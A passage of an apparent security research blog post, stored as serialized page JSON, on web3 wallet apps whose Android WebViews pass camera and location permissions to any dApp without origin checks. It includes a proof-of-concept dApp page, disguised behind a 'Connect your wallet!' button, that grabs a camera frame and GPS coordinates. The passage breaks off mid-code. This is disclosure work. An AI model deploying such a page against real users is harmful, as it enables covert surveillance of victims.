request",{"type":22,"tag":101,"props":160313,"children":160314},{"style":120},[160315],{"type":27,"value":231},{"type":22,"tag":101,"props":160317,"children":160318},{"style":926},[160319],{"type":27,"value":160320},"grant",{"type":22,"tag":101,"props":160322,"children":160323},{"style":120},[160324],{"type":27,"value":980},{"type":22,"tag":101,"props":160326,"children":160327},{"style":126},[160328],{"type":27,"value":160329},"grantedPermissions",{"type":22,"tag":101,"props":160331,"children":160332},{"style":120},[160333],{"type":27,"value":231},{"type":22,"tag":101,"props":160335,"children":160336},{"style":926},[160337],{"type":27,"value":160338},"toArray",{"type":22,"tag":101,"props":160340,"children":160341},{"style":120},[160342],{"type":27,"value":980},{"type":22,"tag":101,"props":160344,"children":160345},{"style":3595},[160346],{"type":27,"value":19124},{"type":22,"tag":101,"props":160348,"children":160349},{"style":114},[160350],{"type":27,"value":160351}," String",{"type":22,"tag":101,"props":160353,"children":160354},{"style":120},[160355],{"type":27,"value":2414},{"type":22,"tag":101,"props":160357,"children":160358},{"style":1544},[160359],{"type":27,"value":8065},{"type":22,"tag":101,"props":160361,"children":160362},{"style":120},[160363],{"type":27,"value":107019},{"type":22,"tag":101,"props":160365,"children":160366},{"class":103,"line":367},[160367,160372,160376,160380],{"type":22,"tag":101,"props":160368,"children":160369},{"style":120},[160370],{"type":27,"value":160371}," grantedPermissions ",{"type":22,"tag":101,"props":160373,"children":160374},{"style":166},[160375],{"type":27,"value":1511},{"type":22,"tag":101,"props":160377,"children":160378},{"style":108},[160379],{"type":27,"value":73774},{"type":22,"tag":101,"props":160381,"children":160382},{"style":120},[160383],{"type":27,"value":1520},{"type":22,"tag":101,"props":160385,"children":160386},{"class":103,"line":398},[160387,160391],{"type":22,"tag":101,"props":160388,"children":160389},{"style":3595},[160390],{"type":27,"value":20986},{"type":22,"tag":101,"props":160392,"children":160393},{"style":120},[160394],{"type":27,"value":1520},{"type":22,"tag":101,"props":160396,"children":160397},{"class":103,"line":428},[160398],{"type":22,"tag":101,"props":160399,"children":160400},{"style":120},[160401],{"type":27,"value":188},{"type":22,"tag":23,"props":160403,"children":160404},{},[160405],{"type":27,"value":160406},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":22,"tag":1760,"props":160408,"children":160410},{"id":160409},"real-world-exploitation",[160411],{"type":27,"value":160412},"Real world exploitation",{"type":22,"tag":23,"props":160414,"children":160415},{},[160416],{"type":27,"value":160417},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":22,"tag":23,"props":160419,"children":160420},{},[160421],{"type":27,"value":160422},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":22,"tag":23,"props":160424,"children":160425},{},[160426,160428,160435],{"type":27,"value":160427},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":22,"tag":80,"props":160429,"children":160432},{"href":160430,"rel":160431},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[84],[160433],{"type":27,"value":160434},"Justson",{"type":27,"value":160436},", used by a popular wallet in the Stellar ecosystem.",{"type":22,"tag":22883,"props":160438,"children":160439},{"id":43499},[160440],{"type":27,"value":38825},{"type":22,"tag":23,"props":160442,"children":160443},{},[160444],{"type":27,"value":160445},"In order to exploit this issue, we assume the following preconditions:",{"type":22,"tag":6828,"props":160447,"children":160448},{},[160449,160454,160459],{"type":22,"tag":6832,"props":160450,"children":160451},{},[160452],{"type":27,"value":160453},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":22,"tag":6832,"props":160455,"children":160456},{},[160457],{"type":27,"value":160458},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":22,"tag":6832,"props":160460,"children":160461},{},[160462],{"type":27,"value":160463},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":22,"tag":91,"props":160465,"children":160467},{"className":54018,"code":160466,"language":36379,"meta":7,"style":7},"\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n \u003Cmeta charset=\"utf-8\">\n \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n \u003Ch2>Smile dApp :)\u003C/h2>\n \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n \u003Cpre id=\"gps\">\u003C/pre>\n \u003Cimg id=\"pic\">\n \u003Cscript>\n window.addEventListener('unhandledrejection', function (event) {\n alert(`Unhandled Promise Rejection: ${event.reason}`);\n });\n window.onerror = function (msg, url, line, col, error) {\n alert('onerror: ' + msg);\n return false;\n };\n\n async function main() {\n const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n const video = document.createElement(\"video\");\n video.srcObject = stream;\n const canvas = document.createElement(\"canvas\");\n\n video.onloadedmetadata = () => {\n canvas.width = video.videoWidth;\n canvas.height = video.videoHeight;\n };\n\n connect.onclick = e => {\n video.play();\n\n canvas.getContext(\"2d\").drawImage(video, 0, 0);\n stream.getTracks().forEach(t => t.stop());\n canvas.toBlob((blob) => {\n pic.src = URL.createObjectURL(blob);\n });\n\n navigator.geolocation.getCurrentPosition(pos => {\n const c = pos.coords;\n gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n }, err => alert(err));\n };\n\n }\n main();\n \u003C/script>\n\u003C/body>\n\u003C/html>\n",[160468],{"type":22,"tag":30,"props":160469,"children":160470},{"__ignoreMap":7},[160471,160491,160506,160522,160552,160575,160590,160605,160637,160683,160719,160747,160762,160808,160854,160862,160930,160958,160973,160981,160988,161008,161068,161109,161138,161179,161186,161215,161253,161290,161297,161304,161337,161358,161365,161427,161483,161519,161565,161573,161580,161623,161656,161781,161814,161821,161828,161835,161847,161862,161877],{"type":22,"tag":101,"props":160472,"children":160473},{"class":103,"line":104},[160474,160478,160482,160487],{"type":22,"tag":101,"props":160475,"children":160476},{"style":36372},[160477],{"type":27,"value":38221},{"type":22,"tag":101,"props":160479,"children":160480},{"style":108},[160481],{"type":27,"value":38226},{"type":22,"tag":101,"props":160483,"children":160484},{"style":126},[160485],{"type":27,"value":160486}," html",{"type":22,"tag":101,"props":160488,"children":160489},{"style":36372},[160490],{"type":27,"value":527},{"type":22,"tag":101,"props":160492,"children":160493},{"class":103,"line":157},[160494,160498,160502],{"type":22,"tag":101,"props":160495,"children":160496},{"style":36372},[160497],{"type":27,"value":123},{"type":22,"tag":101,"props":160499,"children":160500},{"style":108},[160501],{"type":27,"value":36379},{"type":22,"tag":101,"props":160503,"children":160504},{"style":36372},[160505],{"type":27,"value":527},{"type":22,"tag":101,"props":160507,"children":160508},{"class":103,"line":182},[160509,160513,160518],{"type":22,"tag":101,"props":160510,"children":160511},{"style":36372},[160512],{"type":27,"value":123},{"type":22,"tag":101,"props":160514,"children":160515},{"style":108},[160516],{"type":27,"value":160517},"head",{"type":22,"tag":101,"props":160519,"children":160520},{"style":36372},[160521],{"type":27,"value":527},{"type":22,"tag":101,"props":160523,"children":160524},{"class":103,"line":367},[160525,160529,160534,160539,160543,160548],{"type":22,"tag":101,"props":160526,"children":160527},{"style":36372},[160528],{"type":27,"value":36442},{"type":22,"tag":101,"props":160530,"children":160531},{"style":108},[160532],{"type":27,"value":160533},"meta",{"type":22,"tag":101,"props":160535,"children":160536},{"style":126},[160537],{"type":27,"value":160538}," charset",{"type":22,"tag":101,"props":160540,"children":160541},{"style":120},[160542],{"type":27,"value":1511},{"type":22,"tag":101,"props":160544,"children":160545},{"style":6476},[160546],{"type":27,"value":160547},"\"utf-8\"",{"type":22,"tag":101,"props":160549,"children":160550},{"style":36372},[160551],{"type":27,"value":527},{"type":22,"tag":101,"props":160553,"children":160554},{"class":103,"line":398},[160555,160559,160563,160567,160571],{"type":22,"tag":101,"props":160556,"children":160557},{"style":36372},[160558],{"type":27,"value":36442},{"type":22,"tag":101,"props":160560,"children":160561},{"style":108},[160562],{"type":27,"value":38299},{"type":22,"tag":101,"props":160564,"children":160565},{"style":36372},[160566],{"type":27,"value":54062},{"type":22,"tag":101,"props":160568,"children":160569},{"style":108},[160570],{"type":27,"value":38299},{"type":22,"tag":101,"props":160572,"children":160573},{"style":36372},[160574],{"type":27,"value":527},{"type":22,"tag":101,"props":160576,"children":160577},{"class":103,"line":428},[160578,160582,160586],{"type":22,"tag":101,"props":160579,"children":160580},{"style":36372},[160581],{"type":27,"value":36426},{"type":22,"tag":101,"props":160583,"children":160584},{"style":108},[160585],{"type":27,"value":160517},{"type":22,"tag":101,"props":160587,"children":160588},{"style":36372},[160589],{"type":27,"value":527},{"type":22,"tag":101,"props":160591,"children":160592},{"class":103,"line":997},[160593,160597,160601],{"type":22,"tag":101,"props":160594,"children":160595},{"style":36372},[160596],{"type":27,"value":123},{"type":22,"tag":101,"props":160598,"children":160599},{"style":108},[160600],{"type":27,"value":36396},{"type":22,"tag":101,"props":160602,"children":160603},{"style":36372},[160604],{"type":27,"value":527},{"type":22,"tag":101,"props":160606,"children":160607},{"class":103,"line":1032},[160608,160612,160616,160620,160625,160629,160633],{"type":22,"tag":101,"props":160609,"children":160610},{"style":36372},[160611],{"type":27,"value":36442},{"type":22,"tag":101,"props":160613,"children":160614},{"style":108},[160615],{"type":27,"value":53},{"type":22,"tag":101,"props":160617,"children":160618},{"style":36372},[160619],{"type":27,"value":14467},{"type":22,"tag":101,"props":160621,"children":160622},{"style":120},[160623],{"type":27,"value":160624},"Smile dApp :)",{"type":22,"tag":101,"props":160626,"children":160627},{"style":36372},[160628],{"type":27,"value":36426},{"type":22,"tag":101,"props":160630,"children":160631},{"style":108},[160632],{"type":27,"value":53},{"type":22,"tag":101,"props":160634,"children":160635},{"style":36372},[160636],{"type":27,"value":527},{"type":22,"tag":101,"props":160638,"children":160639},{"class":103,"line":1063},[160640,160644,160649,160653,160657,160662,160666,160671,160675,160679],{"type":22,"tag":101,"props":160641,"children":160642},{"style":36372},[160643],{"type":27,"value":36442},{"type":22,"tag":101,"props":160645,"children":160646},{"style":108},[160647],{"type":27,"value":160648},"button",{"type":22,"tag":101,"props":160650,"children":160651},{"style":126},[160652],{"type":27,"value":36452},{"type":22,"tag":101,"props":160654,"children":160655},{"style":120},[160656],{"type":27,"value":1511},{"type":22,"tag":101,"props":160658,"children":160659},{"style":6476},[160660],{"type":27,"value":160661},"\"connect\"",{"type":22,"tag":101,"props":160663,"children":160664},{"style":36372},[160665],{"type":27,"value":14467},{"type":22,"tag":101,"props":160667,"children":160668},{"style":120},[160669],{"type":27,"value":160670},"Connect your wallet!",{"type":22,"tag":101,"props":160672,"children":160673},{"style":36372},[160674],{"type":27,"value":36426},{"type":22,"tag":101,"props":160676,"children":160677},{"style":108},[160678],{"type":27,"value":160648},{"type":22,"tag":101,"props":160680,"children":160681},{"style":36372},[160682],{"type":27,"value":527},{"type":22,"tag":101,"props":160684,"children":160685},{"class":103,"line":1071},[160686,160690,160694,160698,160702,160707,160711,160715],{"type":22,"tag":101,"props":160687,"children":160688},{"style":36372},[160689],{"type":27,"value":36442},{"type":22,"tag":101,"props":160691,"children":160692},{"style":108},[160693],{"type":27,"value":91},{"type":22,"tag":101,"props":160695,"children":160696},{"style":126},[160697],{"type":27,"value":36452},{"type":22,"tag":101,"props":160699,"children":160700},{"style":120},[160701],{"type":27,"value":1511},{"type":22,"tag":101,"props":160703,"children":160704},{"style":6476},[160705],{"type":27,"value":160706},"\"gps\"",{"type":22,"tag":101,"props":160708,"children":160709},{"style":36372},[160710],{"type":27,"value":54062},{"type":22,"tag":101,"props":160712,"children":160713},{"style":108},[160714],{"type":27,"value":91},{"type":22,"tag":101,"props":160716,"children":160717},{"style":36372},[160718],{"type":27,"value":527},{"type":22,"tag":101,"props":160720,"children":160721},{"class":103,"line":1110},[160722,160726,160730,160734,160738,160743],{"type":22,"tag":101,"props":160723,"children":160724},{"style":36372},[160725],{"type":27,"value":36442},{"type":22,"tag":101,"props":160727,"children":160728},{"style":108},[160729],{"type":27,"value":7959},{"type":22,"tag":101,"props":160731,"children":160732},{"style":126},[160733],{"type":27,"value":36452},{"type":22,"tag":101,"props":160735,"children":160736},{"style":120},[160737],{"type":27,"value":1511},{"type":22,"tag":101,"props":160739,"children":160740},{"style":6476},[160741],{"type":27,"value":160742},"\"pic\"",{"type":22,"tag":101,"props":160744,"children":160745},{"style":36372},[160746],{"type":27,"value":527},{"type":22,"tag":101,"props":160748,"children":160749},{"class":103,"line":1118},[160750,160754,160758],{"type":22,"tag":101,"props":160751,"children":160752},{"style":36372},[160753],{"type":27,"value":36442},{"type":22,"tag":101,"props":160755,"children":160756},{"style":108},[160757],{"type":27,"value":36412},{"type":22,"tag":101,"props":160759,"children":160760},{"style":36372},[160761],{"type":27,"value":527},{"type":22,"tag":101,"props":160763,"children":160764},{"class":103,"line":1158},[160765,160770,160774,160779,160783,160788,160792,160796,160800,160804],{"type":22,"tag":101,"props":160766,"children":160767},{"style":126},[160768],{"type":27,"value":160769}," window",{"type":22,"tag":101,"props":160771,"children":160772},{"style":166},[160773],{"type":27,"value":231},{"type":22,"tag":101,"props":160775,"children":160776},{"style":926},[160777],{"type":27,"value":160778},"addEventListener",{"type":22,"tag":101,"props":160780,"children":160781},{"style":166},[160782],{"type":27,"value":980},{"type":22,"tag":101,"props":160784,"children":160785},{"style":6476},[160786],{"type":27,"value":160787},"'unhandledrejection'",{"type":22,"tag":101,"props":160789,"children":160790},{"style":166},[160791],{"type":27,"value":758},{"type":22,"tag":101,"props":160793,"children":160794},{"style":108},[160795],{"type":27,"value":35373},{"type":22,"tag":101,"props":160797,"children":160798},{"style":166},[160799],{"type":27,"value":3603},{"type":22,"tag":101,"props":160801,"children":160802},{"style":126},[160803],{"type":27,"value":85635},{"type":22,"tag":101,"props":160805,"children":160806},{"style":166},[160807],{"type":27,"value":1463},{"type":22,"tag":101,"props":160809,"children":160810},{"class":103,"line":1166},[160811,160816,160820,160825,160829,160833,160837,160842,160846,160850],{"type":22,"tag":101,"props":160812,"children":160813},{"style":926},[160814],{"type":27,"value":160815}," alert",{"type":22,"tag":101,"props":160817,"children":160818},{"style":166},[160819],{"type":27,"value":980},{"type":22,"tag":101,"props":160821,"children":160822},{"style":6476},[160823],{"type":27,"value":160824},"`Unhandled Promise Rejection: ",{"type":22,"tag":101,"props":160826,"children":160827},{"style":108},[160828],{"type":27,"value":38104},{"type":22,"tag":101,"props":160830,"children":160831},{"style":126},[160832],{"type":27,"value":85635},{"type":22,"tag":101,"props":160834,"children":160835},{"style":166},[160836],{"type":27,"value":231},{"type":22,"tag":101,"props":160838,"children":160839},{"style":126},[160840],{"type":27,"value":160841},"reason",{"type":22,"tag":101,"props":160843,"children":160844},{"style":108},[160845],{"type":27,"value":38136},{"type":22,"tag":101,"props":160847,"children":160848},{"style":6476},[160849],{"type":27,"value":14388},{"type":22,"tag":101,"props":160851,"children":160852},{"style":166},[160853],{"type":27,"value":994},{"type":22,"tag":101,"props":160855,"children":160856},{"class":103,"line":1215},[160857],{"type":22,"tag":101,"props":160858,"children":160859},{"style":166},[160860],{"type":27,"value":160861}," });\n",{"type":22,"tag":101,"props":160863,"children":160864},{"class":103,"line":2425},[160865,160869,160873,160877,160881,160885,160889,160893,160897,160901,160905,160909,160913,160918,160922,160926],{"type":22,"tag":101,"props":160866,"children":160867},{"style":126},[160868],{"type":27,"value":160769},{"type":22,"tag":101,"props":160870,"children":160871},{"style":166},[160872],{"type":27,"value":231},{"type":22,"tag":101,"props":160874,"children":160875},{"style":926},[160876],{"type":27,"value":36685},{"type":22,"tag":101,"props":160878,"children":160879},{"style":166},[160880],{"type":27,"value":36907},{"type":22,"tag":101,"props":160882,"children":160883},{"style":108},[160884],{"type":27,"value":35373},{"type":22,"tag":101,"props":160886,"children":160887},{"style":166},[160888],{"type":27,"value":3603},{"type":22,"tag":101,"props":160890,"children":160891},{"style":126},[160892],{"type":27,"value":61943},{"type":22,"tag":101,"props":160894,"children":160895},{"style":166},[160896],{"type":27,"value":758},{"type":22,"tag":101,"props":160898,"children":160899},{"style":126},[160900],{"type":27,"value":73882},{"type":22,"tag":101,"props":160902,"children":160903},{"style":166},[160904],{"type":27,"value":758},{"type":22,"tag":101,"props":160906,"children":160907},{"style":126},[160908],{"type":27,"value":103},{"type":22,"tag":101,"props":160910,"children":160911},{"style":166},[160912],{"type":27,"value":758},{"type":22,"tag":101,"props":160914,"children":160915},{"style":126},[160916],{"type":27,"value":160917},"col",{"type":22,"tag":101,"props":160919,"children":160920},{"style":166},[160921],{"type":27,"value":758},{"type":22,"tag":101,"props":160923,"children":160924},{"style":126},[160925],{"type":27,"value":18865},{"type":22,"tag":101,"props":160927,"children":160928},{"style":166},[160929],{"type":27,"value":1463},{"type":22,"tag":101,"props":160931,"children":160932},{"class":103,"line":5417},[160933,160937,160941,160946,160950,160954],{"type":22,"tag":101,"props":160934,"children":160935},{"style":926},[160936],{"type":27,"value":160815},{"type":22,"tag":101,"props":160938,"children":160939},{"style":166},[160940],{"type":27,"value":980},{"type":22,"tag":101,"props":160942,"children":160943},{"style":6476},[160944],{"type":27,"value":160945},"'onerror: '",{"type":22,"tag":101,"props":160947,"children":160948},{"style":166},[160949],{"type":27,"value":38692},{"type":22,"tag":101,"props":160951,"children":160952},{"style":126},[160953],{"type":27,"value":61943},{"type":22,"tag":101,"props":160955,"children":160956},{"style":166},[160957],{"type":27,"value":994},{"type":22,"tag":101,"props":160959,"children":160960},{"class":103,"line":7714},[160961,160965,160969],{"type":22,"tag":101,"props":160962,"children":160963},{"style":3595},[160964],{"type":27,"value":82583},{"type":22,"tag":101,"props":160966,"children":160967},{"style":108},[160968],{"type":27,"value":13065},{"type":22,"tag":101,"props":160970,"children":160971},{"style":166},[160972],{"type":27,"value":1520},{"type":22,"tag":101,"props":160974,"children":160975},{"class":103,"line":7723},[160976],{"type":22,"tag":101,"props":160977,"children":160978},{"style":166},[160979],{"type":27,"value":160980}," };\n",{"type":22,"tag":101,"props":160982,"children":160983},{"class":103,"line":7791},[160984],{"type":22,"tag":101,"props":160985,"children":160986},{"emptyLinePlaceholder":15},[160987],{"type":27,"value":1581},{"type":22,"tag":101,"props":160989,"children":160990},{"class":103,"line":7799},[160991,160996,161000,161004],{"type":22,"tag":101,"props":160992,"children":160993},{"style":108},[160994],{"type":27,"value":160995}," async",{"type":22,"tag":101,"props":160997,"children":160998},{"style":108},[160999],{"type":27,"value":42210},{"type":22,"tag":101,"props":161001,"children":161002},{"style":926},[161003],{"type":27,"value":94287},{"type":22,"tag":101,"props":161005,"children":161006},{"style":166},[161007],{"type":27,"value":19734},{"type":22,"tag":101,"props":161009,"children":161010},{"class":103,"line":7829},[161011,161015,161020,161024,161028,161033,161037,161042,161046,161051,161055,161060,161064],{"type":22,"tag":101,"props":161012,"children":161013},{"style":108},[161014],{"type":27,"value":154541},{"type":22,"tag":101,"props":161016,"children":161017},{"style":126},[161018],{"type":27,"value":161019}," stream",{"type":22,"tag":101,"props":161021,"children":161022},{"style":166},[161023],{"type":27,"value":36907},{"type":22,"tag":101,"props":161025,"children":161026},{"style":3595},[161027],{"type":27,"value":36912},{"type":22,"tag":101,"props":161029,"children":161030},{"style":126},[161031],{"type":27,"value":161032}," navigator",{"type":22,"tag":101,"props":161034,"children":161035},{"style":166},[161036],{"type":27,"value":231},{"type":22,"tag":101,"props":161038,"children":161039},{"style":126},[161040],{"type":27,"value":161041},"mediaDevices",{"type":22,"tag":101,"props":161043,"children":161044},{"style":166},[161045],{"type":27,"value":231},{"type":22,"tag":101,"props":161047,"children":161048},{"style":926},[161049],{"type":27,"value":161050},"getUserMedia",{"type":22,"tag":101,"props":161052,"children":161053},{"style":166},[161054],{"type":27,"value":35494},{"type":22,"tag":101,"props":161056,"children":161057},{"style":126},[161058],{"type":27,"value":161059},"video:",{"type":22,"tag":101,"props":161061,"children":161062},{"style":108},[161063],{"type":27,"value":16473},{"type":22,"tag":101,"props":161065,"children":161066},{"style":166},[161067],{"type":27,"value":3369},{"type":22,"tag":101,"props":161069,"children":161070},{"class":103,"line":7837},[161071,161075,161080,161084,161088,161092,161096,161100,161105],{"type":22,"tag":101,"props":161072,"children":161073},{"style":108},[161074],{"type":27,"value":154541},{"type":22,"tag":101,"props":161076,"children":161077},{"style":126},[161078],{"type":27,"value":161079}," video",{"type":22,"tag":101,"props":161081,"children":161082},{"style":166},[161083],{"type":27,"value":36907},{"type":22,"tag":101,"props":161085,"children":161086},{"style":126},[161087],{"type":27,"value":36704},{"type":22,"tag":101,"props":161089,"children":161090},{"style":166},[161091],{"type":27,"value":231},{"type":22,"tag":101,"props":161093,"children":161094},{"style":926},[161095],{"type":27,"value":40717},{"type":22,"tag":101,"props":161097,"children":161098},{"style":166},[161099],{"type":27,"value":980},{"type":22,"tag":101,"props":161101,"children":161102},{"style":6476},[161103],{"type":27,"value":161104},"\"video\"",{"type":22,"tag":101,"props":161106,"children":161107},{"style":166},[161108],{"type":27,"value":994},{"type":22,"tag":101,"props":161110,"children":161111},{"class":103,"line":7868},[161112,161117,161121,161126,161130,161134],{"type":22,"tag":101,"props":161113,"children":161114},{"style":126},[161115],{"type":27,"value":161116}," video",{"type":22,"tag":101,"props":161118,"children":161119},{"style":166},[161120],{"type":27,"value":231},{"type":22,"tag":101,"props":161122,"children":161123},{"style":126},[161124],{"type":27,"value":161125},"srcObject",{"type":22,"tag":101,"props":161127,"children":161128},{"style":166},[161129],{"type":27,"value":36907},{"type":22,"tag":101,"props":161131,"children":161132},{"style":126},[161133],{"type":27,"value":40257},{"type":22,"tag":101,"props":161135,"children":161136},{"style":166},[161137],{"type":27,"value":1520},{"type":22,"tag":101,"props":161139,"children":161140},{"class":103,"line":7876},[161141,161145,161150,161154,161158,161162,161166,161170,161175],{"type":22,"tag":101,"props":161142,"children":161143},{"style":108},[161144],{"type":27,"value":154541},{"type":22,"tag":101,"props":161146,"children":161147},{"style":126},[161148],{"type":27,"value":161149}," canvas",{"type":22,"tag":101,"props":161151,"children":161152},{"style":166},[161153],{"type":27,"value":36907},{"type":22,"tag":101,"props":161155,"children":161156},{"style":126},[161157],{"type":27,"value":36704},{"type":22,"tag":101,"props":161159,"children":161160},{"style":166},[161161],{"type":27,"value":231},{"type":22,"tag":101,"props":161163,"children":161164},{"style":926},[161165],{"type":27,"value":40717},{"type":22,"tag":101,"props":161167,"children":161168},{"style":166},[161169],{"type":27,"value":980},{"type":22,"tag":101,"props":161171,"children":161172},{"style":6476},[161173],{"type":27,"value":161174},"\"canvas\"",{"type":22,"tag":101,"props":161176,"children":161177},{"style":166},[161178],{"type":27,"value":994},{"type":22,"tag":101,"props":161180,"children":161181},{"class":103,"line":7936},[161182],{"type":22,"tag":101,"props":161183,"children":161184},{"emptyLinePlaceholder":15},[161185],{"type":27,"value":1581},{"type":22,"tag":101,"props":161187,"children":161188},{"class":103,"line":13054},[161189,161193,161197,161202,161207,161211],{"type":22,"tag":101,"props":161190,"children":161191},{"style":126},[161192],{"type":27,"value":161116},{"type":22,"tag":101,"props":161194,"children":161195},{"style":166},[161196],{"type":27,"value":231},{"type":22,"tag":101,"props":161198,"children":161199},{"style":926},[161200],{"type":27,"value":161201},"onloadedmetadata",{"type":22,"tag":101,"props":161203,"children":161204},{"style":166},[161205],{"type":27,"value":161206}," = () ",{"type":22,"tag":101,"props":161208,"children":161209},{"style":108},[161210],{"type":27,"value":18823},{"type":22,"tag":101,"props":161212,"children":161213},{"style":166},[161214],{"type":27,"value":154},{"type":22,"tag":101,"props":161216,"children":161217},{"class":103,"line":13072},[161218,161223,161227,161232,161236,161240,161244,161249],{"type":22,"tag":101,"props":161219,"children":161220},{"style":126},[161221],{"type":27,"value":161222}," canvas",{"type":22,"tag":101,"props":161224,"children":161225},{"style":166},[161226],{"type":27,"value":231},{"type":22,"tag":101,"props":161228,"children":161229},{"style":126},[161230],{"type":27,"value":161231},"width",{"type":22,"tag":101,"props":161233,"children":161234},{"style":166},[161235],{"type":27,"value":36907},{"type":22,"tag":101,"props":161237,"children":161238},{"style":126},[161239],{"type":27,"value":135365},{"type":22,"tag":101,"props":161241,"children":161242},{"style":166},[161243],{"type":27,"value":231},{"type":22,"tag":101,"props":161245,"children":161246},{"style":126},[161247],{"type":27,"value":161248},"videoWidth",{"type":22,"tag":101,"props":161250,"children":161251},{"style":166},[161252],{"type":27,"value":1520},{"type":22,"tag":101,"props":161254,"children":161255},{"class":103,"line":13117},[161256,161260,161264,161269,161273,161277,161281,161286],{"type":22,"tag":101,"props":161257,"children":161258},{"style":126},[161259],{"type":27,"value":161222},{"type":22,"tag":101,"props":161261,"children":161262},{"style":166},[161263],{"type":27,"value":231},{"type":22,"tag":101,"props":161265,"children":161266},{"style":126},[161267],{"type":27,"value":161268},"height",{"type":22,"tag":101,"props":161270,"children":161271},{"style":166},[161272],{"type":27,"value":36907},{"type":22,"tag":101,"props":161274,"children":161275},{"style":126},[161276],{"type":27,"value":135365},{"type":22,"tag":101,"props":161278,"children":161279},{"style":166},[161280],{"type":27,"value":231},{"type":22,"tag":101,"props":161282,"children":161283},{"style":126},[161284],{"type":27,"value":161285},"videoHeight",{"type":22,"tag":101,"props":161287,"children":161288},{"style":166},[161289],{"type":27,"value":1520},{"type":22,"tag":101,"props":161291,"children":161292},{"class":103,"line":13223},[161293],{"type":22,"tag":101,"props":161294,"children":161295},{"style":166},[161296],{"type":27,"value":52071},{"type":22,"tag":101,"props":161298,"children":161299},{"class":103,"line":27496},[161300],{"type":22,"tag":101,"props":161301,"children":161302},{"emptyLinePlaceholder":15},[161303],{"type":27,"value":1581},{"type":22,"tag":101,"props":161305,"children":161306},{"class":103,"line":27531},[161307,161312,161316,161321,161325,161329,161333],{"type":22,"tag":101,"props":161308,"children":161309},{"style":126},[161310],{"type":27,"value":161311}," connect",{"type":22,"tag":101,"props":161313,"children":161314},{"style":166},[161315],{"type":27,"value":231},{"type":22,"tag":101,"props":161317,"children":161318},{"style":926},[161319],{"type":27,"value":161320},"onclick",{"type":22,"tag":101,"props":161322,"children":161323},{"style":166},[161324],{"type":27,"value":36907},{"type":22,"tag":101,"props":161326,"children":161327},{"style":126},[161328],{"type":27,"value":55450},{"type":22,"tag":101,"props":161330,"children":161331},{"style":108},[161332],{"type":27,"value":31751},{"type":22,"tag":101,"props":161334,"children":161335},{"style":166},[161336],{"type":27,"value":154},{"type":22,"tag":101,"props":161338,"children":161339},{"class":103,"line":27539},[161340,161345,161349,161354],{"type":22,"tag":101,"props":161341,"children":161342},{"style":126},[161343],{"type":27,"value":161344}," video",{"type":22,"tag":101,"props":161346,"children":161347},{"style":166},[161348],{"type":27,"value":231},{"type":22,"tag":101,"props":161350,"children":161351},{"style":926},[161352],{"type":27,"value":161353},"play",{"type":22,"tag":101,"props":161355,"children":161356},{"style":166},[161357],{"type":27,"value":934},{"type":22,"tag":101,"props":161359,"children":161360},{"class":103,"line":27547},[161361],{"type":22,"tag":101,"props":161362,"children":161363},{"emptyLinePlaceholder":15},[161364],{"type":27,"value":1581},{"type":22,"tag":101,"props":161366,"children":161367},{"class":103,"line":27556},[161368,161372,161376,161381,161385,161390,161394,161399,161403,161407,161411,161415,161419,161423],{"type":22,"tag":101,"props":161369,"children":161370},{"style":126},[161371],{"type":27,"value":161222},{"type":22,"tag":101,"props":161373,"children":161374},{"style":166},[161375],{"type":27,"value":231},{"type":22,"tag":101,"props":161377,"children":161378},{"style":926},[161379],{"type":27,"value":161380},"getContext",{"type":22,"tag":101,"props":161382,"children":161383},{"style":166},[161384],{"type":27,"value":980},{"type":22,"tag":101,"props":161386,"children":161387},{"style":6476},[161388],{"type":27,"value":161389},"\"2d\"",{"type":22,"tag":101,"props":161391,"children":161392},{"style":166},[161393],{"type":27,"value":24730},{"type":22,"tag":101,"props":161395,"children":161396},{"style":926},[161397],{"type":27,"value":161398},"drawImage",{"type":22,"tag":101,"props":161400,"children":161401},{"style":166},[161402],{"type":27,"value":980},{"type":22,"tag":101,"props":161404,"children":161405},{"style":126},[161406],{"type":27,"value":135365},{"type":22,"tag":101,"props":161408,"children":161409},{"style":166},[161410],{"type":27,"value":758},{"type":22,"tag":101,"props":161412,"children":161413},{"style":1544},[161414],{"type":27,"value":8065},{"type":22,"tag":101,"props":161416,"children":161417},{"style":166},[161418],{"type":27,"value":758},{"type":22,"tag":101,"props":161420,"children":161421},{"style":1544},[161422],{"type":27,"value":8065},{"type":22,"tag":101,"props":161424,"children":161425},{"style":166},[161426],{"type":27,"value":994},{"type":22,"tag":101,"props":161428,"children":161429},{"class":103,"line":27598},[161430,161435,161439,161444,161448,161453,161457,161461,161465,161470,161474,161479],{"type":22,"tag":101,"props":161431,"children":161432},{"style":126},[161433],{"type":27,"value":161434}," 